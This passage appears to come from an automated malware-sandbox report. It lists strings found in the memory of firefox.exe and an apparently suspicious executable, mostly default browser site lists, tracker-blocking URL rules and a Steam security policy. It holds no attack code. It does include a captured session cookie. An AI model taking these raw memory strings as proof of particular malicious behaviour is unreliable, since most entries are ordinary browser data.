SameSite=Nonesessionid=e427203ecf9430d9fce849d9; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveTue, 22 Oct 2024 17:25:31 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB080E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2478214034.000001BAB7053000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2478214034.000001BAB7053000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: color-mix(in srgb, currentColor 9%, transparent)://cdn.cmp.advertising.com/firefox-etp://www.facebook.com/platform/impression.php://track.adform.net/Serving/TrackPoint/://ads.stickyadstv.com/auto-user-sync*://.adsafeprotected.com/jsvid?://trends.google.com/trends/embed://pubads.g.doubleclick.net/gampad/xml_vmap2resource://gre/modules/ShortcutUtils.sys.mjs equals www.facebook.com (Facebook)
Source: 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://www.inbox.lv/rfc2368/?value=%s equals www.yahoo.com (Yahoo)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/UPDATE moz_bookmarks SET position = position + 1 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB0603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2496157306.000001BAB7788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB0603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2432375917.000001BAAF73E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
